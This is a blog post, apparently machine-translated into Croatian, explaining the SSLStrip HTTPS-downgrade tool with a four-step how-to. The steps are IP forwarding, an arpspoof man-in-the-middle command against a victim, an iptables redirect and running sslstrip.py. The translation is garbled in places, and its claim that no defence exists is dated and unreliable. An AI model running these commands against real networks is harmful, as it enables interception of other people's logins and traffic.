SSLStrip: špijuniranje SSL prometa

Moxie Marlinspike predstavljena na Crni šešir 2009 izvrstan alat koji se zove SSLStrip, usmjereno na natjerajte korisnika da vjeruje da je na web lokaciji sa SSL šifriranjem, dok se zapravo svi podaci prenose na otvorenom. Uz to, SSLStrip također prevari web server, čija se navodna enkripcija zaobilazi iako se web lokacija i dalje ponaša kao da radi. Koliko sam mogao shvatiti, ova metoda i dalje izvrsno funkcionira. Prijetnja još uvijek postoji i svi smo izloženi. Buahaha ...

Počnimo s osnovama: koji je vrag SSL?

Za one koji ne znaju, Secure Sockets Layer (SSL; protokol sigurnosnog sloja utičnice) i njegov nasljednik Transport Layer Security (TLS; sigurnost transportnog sloja) su kriptografski protokoli koji pružaju sigurnu komunikaciju putem mreže, obično Internet.

SSL se izvodi na sloju između aplikacijskih protokola kao što su HTTP, SMTP, NNTP i preko protokola TCP transporta, koji je dio TCP / IP porodice protokola. Iako može pružiti sigurnost za bilo koji protokol koji koristi pouzdane veze (kao što je TCP), u većini slučajeva koristi se zajedno s HTTP-om za formiranje HTTPS-a. HTTPS koristi se za zaštitu web stranica na Internetu za web aplikacije. elektronska trgovina, pomoću certifikata javnih ključeva za provjeru identiteta krajnjih točaka.

SSLStrip ... da li se pornografija vratila na Let's Use Linux?

Operacija SSLStrip jednostavno je, zamijeniti sve HTTPS zahtjeve web stranice putem HTTP-a, a zatim vrši MITM (napad «Čovek na sredini«) Između servera i klijenta. Ideja je da žrtva i napadač komuniciraju putem HTTP-a, dok napadač i server komuniciraju putem HTTPS-a sa sertifikatom servera. Dakle, napadač je u stanju vidjeti sav promet otvorenog teksta žrtve.

Evo videozapisa na kojem možemo vidjeti kako funkcionira ovaj izvrsni alat.

Kako se koristi SSLStrip

1.- Konfigurirajte prosljeđivanje IP-a

echo 1> / proc / sys / net / ipv4 / ip_forward

2.- Izvođenje ARP MITM napada između 2 mašine:

arpspoof -i eth0 -t VODITELJ VICTIMA

3.- Preusmjeri promet sa iptables:

iptables -t nat -A PREROUTING -p tcp –odredišni port 80 -j REDIRECT –to-ports 8080

4.- Pokrenite SSLStrip na korištenom portu

python sslstrip.py -w datoteka

Kako se zaštititi od SSLStrip napada?

Ovo je najljepše i najstrašnije: ne može.

Kao što je pokazao Moxie (njegov video ne gubi se nešto više od 69 minuta) jedino vjerovatno rješenje za sve ovo je šifriranje svih HTTP veza, odnosno da uobičajeni i divlji "HTTP" u svim svojim slučajevima bude zamijenjen "HTTPS", bez obzira na stranicu ili uslugu . Kao što je Moxie rekla, 'problem predstavlja sigurni protokol koji ovisi o nesigurnom protokolu".

Šta barem možete učiniti kao korisnik smanjiti šanse za napad? Provjerite na paranoičan način da se ispred svake stranice koja je ugrožena nalazi "https" ili u slučaju instalacije korisnika Firefoxa NoScript i prisiliti HTTPS veze na svim stranicama. Pa ipak, ovo bi samo minimiziralo učinak, a ne i negiralo ga.

Izvor: zmajeva tegla & Moxie